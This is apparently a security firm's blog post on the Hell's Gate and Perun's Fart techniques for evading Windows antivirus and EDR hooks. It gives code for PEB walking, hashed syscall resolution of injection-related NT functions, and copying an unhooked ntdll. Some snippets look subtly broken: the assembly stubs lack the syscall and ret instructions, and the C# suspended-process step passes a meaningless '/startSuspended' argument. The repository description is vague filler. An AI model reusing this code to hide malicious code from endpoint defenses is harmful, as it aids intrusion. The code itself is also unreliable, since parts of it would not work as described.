PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);

// Get the EAT of NTDLL


if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)

return 0x01;

VX_TABLE Table = { 0 };

Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;

if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))

return 0x1;

Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;

if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))

return 0x1;

Table.NtWriteVirtualMemory.dwHash = 0x68a3c2ba486f0741;

if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWriteVirtualMemory))

return 0x1;

Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;

if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))

return 0x1;

Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;

if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject))

return 0x1;


return 0x00;


In the ever-evolving world of cybersecurity, the ability to dynamically resolve system calls is a significant advantage for evading detection mechanisms. The paper titled “Hell’s Gate” by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec) presents a novel approach to this challenge, offering a method to dynamically retrieve syscalls without relying on static elements.

Historical Context

Historically, evasion techniques focused on nullifying the Import Address Table (IAT) of the PE file by recreating functions like LoadLibrary, GetProcAddress, and FreeLibrary. This approach was popularized in 1997 when Jack Qwerty introduced a utility that parsed the in-memory module Kernel32.dll’s Export Address Table (EAT) to resolve function addresses dynamically.

However, with the rise of Red Team tactics, there has been a shift towards using syscalls for evasion. Syscalls offer two main advantages:

They eliminate the need for an in-memory module to be linked, ensuring position independence.

They bypass potential hooks set by EDR or AV products.

Hell’s Gate: The New Approach

Hell’s Gate introduces a method to dynamically retrieve syscalls without relying on static elements. The technique leverages the fact that almost every PE image loaded into memory implicitly links against NTDLL.dll. This DLL contains the image loader functionality and is crucial for transitioning from user mode API invocations into kernel memory address space via syscalls.

Commands and Codes

To achieve dynamic system call resolution, the following steps are taken:

Retrieve the Process Environment Block (PEB) of the process.

PPEB Peb = (PPEB)__readgsqword(0x60); //64bit process

Traverse the PEB to access the LoaderData member, which contains a list of in-memory modules.

PLDR_MODULE pLoadModule;

pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 16);

Access the base address of the in-memory module (typically NTDLL.dll).

PBYTE ImageBase;

ImageBase = (PBYTE)pLoadModule->BaseAddress;

Traverse the module's Export Address Table to locate the functions and their associated syscalls.



Execute System Calls: Functions within NTDLL.dll typically move the system call into the EAX register and then check the current thread execution environment. If it's determined to be x64 based, the system call is executed; otherwise, the function returns.

The Hell’s Gate technique introduces two methods:

HellsGate: Modifies the syscall that will be executed.


wSystemCall DWORD 000h


HellsGate PROC

mov wSystemCall, 000h

mov wSystemCall, ecx


HellsGate ENDP

HellDescent: Executes the system call.

HellDescent PROC

mov r10, rcx

mov eax, wSystemCall



HellDescent ENDP


Using these methods, one can dynamically set and execute syscalls, providing a powerful tool for evasion.

Perun’s fart

API hooks have long been the cornerstone of internal process monitoring, especially for Anti-Virus (AV) and Endpoint Detection and Response (EDR) solutions. Their popularity stems from their simplicity and the necessity imposed by Kernel Patch Protection (KPP). However, as with any security measure, adversaries continually seek ways to bypass or neutralize them.

1. The Evolution of Bypass Techniques

Over the years, malware developers and security researchers have devised numerous methods to bypass or entirely remove these hooks. Comprehensive reviews of these techniques have been documented in various resources, providing insights into the cat-and-mouse game between attackers and defenders.

Recently, Yarhen Shafir introduced a new method of undetectable code injection, leveraging new system calls:

NtCreateThreadStateChange / NtCreateProcessStateChange

NtChangeThreadState / NtChangeProcessState

However, the defense community is not one to rest on its laurels. Articles detailing methods to detect malicious activities, especially those attempting to bypass hooks and execute direct syscalls, have emerged. These discussions set the stage for the development of innovative techniques, such as syscall unhooking.

2. Introduction to Perun’s Fart

Perun’s Fart is not a groundbreaking revelation in the realm of bypass techniques. Instead, it offers a method to locate a pristine, unhooked copy of ntdll without resorting to disk reads. The underlying concept is straightforward:

Obtain a copy of ntdll from a newly spawned process before AV/EDR solutions apply their hooks.

There exists a brief window between the instantiation of a new process and the moment AV/EDR tools inject their hooks via a DLL. This interval might be fleeting, raising the question: Is it feasible to consistently outpace this race condition?

The answer is a resounding yes, and the method is surprisingly simple.

3. Bypassing the Hooks

The technique involves the following steps:

Spawn a New Process in Suspended State:

This ensures that the process remains inactive, preventing any hooks from being applied immediately.

ProcessStartInfo psi = new ProcessStartInfo("targetProcess.exe");

psi.CreateNoWindow = true;

psi.UseShellExecute = false;

psi.RedirectStandardOutput = true;

psi.WindowStyle = ProcessWindowStyle.Hidden;

psi.Arguments = "/startSuspended";

Process process = Process.Start(psi);

Copy the Clean ntdll:

Once the new process is in a suspended state, copy the unhooked ntdll into the original process.

IntPtr ntdllAddress = ProcessMemoryReader.GetModuleAddress(process.Id, “ntdll.dll”);

byte[] ntdllBytes = ProcessMemoryReader.ReadProcessMemory(process.Handle, ntdllAddress, ntdllSize);

Resume Original Process Execution:

With the clean ntdll in place, the original process can continue its operations, bypassing any hooks that would have been set by AV/EDR solutions.


Peruns-Fart is named after the Slavic god of thunder, Perun. The project appears to be related to some form of native interoperation in C#.

2. Repository Structure

The repository primarily consists of C# files, with the main code residing in the peruns-fart directory. Key files include:

Native.cs: Contains native method signatures and related functionalities.

Program.cs: The main entry point of the application.

3. Key Code Snippets

3.1 Native Interoperation in Native.cs

The Native.cs file contains P/Invoke signatures for native methods. Here’s a snippet from the file:

using System;

using System.Runtime.InteropServices;

public static class Native


    [DllImport("kernel32.dll", SetLastError = true)]

    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    // ... other native method signatures ...


This code demonstrates how to declare native methods in C# using the DllImport attribute. The above method, VirtualAlloc, is a Windows API function used for memory allocation.

3.2 Main Program in Program.cs

The Program.cs file contains the main logic of the application. Here’s a brief snippet:

using System;

namespace peruns_fart


    class Program


        static void Main(string[] args)


            // ... main logic of the application ...




This is the entry point of the application, where the main logic is executed.

Security Researchers

Amir Gholizadeh (@arimaqz)

Surya Dev Singh (@kryolite_secure)

Free Consultation

For a Free Consultation And Analysis Of Your Business, Please Fill Out The Opposite Form, Our Team Will Contact You As Soon As Possible.